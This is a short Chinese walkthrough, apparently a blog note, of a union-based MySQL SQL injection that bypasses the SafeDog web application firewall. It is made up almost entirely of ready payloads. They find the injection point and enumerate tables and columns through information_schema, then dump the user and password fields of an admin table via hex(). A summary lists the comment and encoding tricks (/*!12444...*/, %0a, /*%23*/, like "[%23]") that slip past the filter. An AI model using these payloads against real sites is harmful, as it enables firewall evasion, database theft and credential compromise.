流程
测试注入点
?id=1'
判断为数字型注入
?id=1 /*!12444and*/1=1
查看回显
?id=1 like "[%23]" /*!12444union%0aselect*/1,2,3--+
查看表名
?id=1 like "[%23]" /*!12444union%0aselect*/1,table_name,3 from /*%23*/ information_schema.tables where table_schema=database(/*!12444%0a*/) --+
查看列名
?id=1 like "[%23]" /*!12444union%0aselect*/1,column_name,3 from /*%23*/ information_schema.columns where table_schema=database(/*!12444%0a*/) /*!12444and*/ table_name='admin'--+
查数据
这个错误是因为字段属性不一样
改为hex()就行
?id=1 like "[%23]" /*!12444union%0aselect*/id,hex(user),hex(pwd) /*!12444from*/ /*%23*/ admin
再把hex转回去就行了
问题汇总
这是可以的
爆表和列的时候from可以直接用,在爆数据的时候就触发安全狗了,很神奇
简单来说
from后面用/*%23*/
union select用/*!12444union%0aselect*/绕过,用空格隔开/*!12444union*/ /*!12444select*/会触发安全狗
用/*!12444%0a*/代替空格
用/*!12444%and*/代替and
用/*!12444%from*/代替from
like "[%23]"这个很牛逼,代替like "#",这个真的很帅
参考文章: